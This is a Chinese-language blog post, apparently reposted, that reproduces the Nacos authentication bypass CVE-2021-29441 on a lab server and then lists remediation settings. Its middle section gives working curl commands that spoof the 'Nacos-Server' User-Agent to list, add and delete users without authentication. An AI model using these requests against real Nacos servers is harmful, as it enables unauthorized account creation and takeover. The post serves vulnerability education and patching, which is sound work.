Nacos是Alibaba的一个动态服务发现、配置和服务管理平台。攻击者通过添加Nacos-Server的User-Agent头部将可绕过(nacos.core.auth.enabled=true)鉴权认证,从而进行API操作。
影响版本:<1.4.1
漏洞复现:准备两台centos7,一台用于靶机,一台用于攻击。
靶机安装oracleJDK1.8(JDK安装略),下载nacos1.4.0版本
1 2 3 |
cd /usr/local/src/ wget https://github.com/alibaba/nacos/releases/download/1.4.0/nacos-server-1.4.0.tar.gz tar xf nacos-server-1.4.0.tar.gz |
修改conf/application.properties,开启鉴权
1 |
nacos.core.auth.enabled=true |
启动服务
1 |
sh /usr/local/src/nacos/bin/startup.sh -m standalone |
这样靶机就搭建完成,访问http://IP:8848/nacos/即可登录。
以下操作均在攻击服务器上操作
安装jq
jq是Linux json格式化工具,直接yum安装即可
1 |
yum install jq |
漏洞利用
请求用户列表接口,不用鉴权即可看到用户信息,可以看到当前只有一个用户nacos
1 |
curl -X GET -w '\n' -s -A 'Nacos-Server' 'http://IP:8848/nacos/v1/auth/users/?pageNo=1&pageSize=9' | jq |
指定User-Agent为Nacos-Server,POST请求添加用户
1 |
curl -X POST -w '\n' -s -A 'Nacos-Server' 'http://IP:8848/nacos/v1/auth/users?username=test&password=test' | jq |
再次查看用户列表,此时多了一个刚刚通过POST创建的test用户,漏洞利用成功。
1 |
curl -X GET -w '\n' -s -A 'Nacos-Server' 'http://IP:8848/nacos/v1/auth/users/?pageNo=1&pageSize=9' | jq |
访问nacos页面http://IP:8848/nacos,使用test登录成功。
通过漏洞接口直接删除用户
1 |
curl -X DELETE -w '\n' -s -A 'Nacos-Server' -d 'username=test' 'http://IP:8848/nacos/v1/auth/users' | jq |
或
1 |
curl -X DELETE -w '\n' -s -A 'Nacos-Server' 'http://IP:8848/nacos/v1/auth/users?username=test' | jq |
漏洞修复办法:
升级nacos至1.4.1以上,建议升级至最新版本,修改conf/application.properties字段
1 2 3 4 |
nacos.core.auth.enabled=false 修改为true nacos.core.auth.enable.userAgentAuthWhite=true 修改为false nacos.core.auth.server.identity.key=自定义值 nacos.core.auth.server.identity.value=自定义值 |
最后代码层面,在项目中各个工程的bootstrap.yml中cloud.nacos层级下添加username和password字段
1 2 3 4 |
cloud: nacos: username:nacos password:nacos |
注意:使用nacos安全起见,建议一定要开启鉴权,否则即使在现在2.1.1版本中依旧可以通过该接口进行利用。
原文链接:Nacos漏洞复现及修复(CVE-2021-29441),转载请注明来源!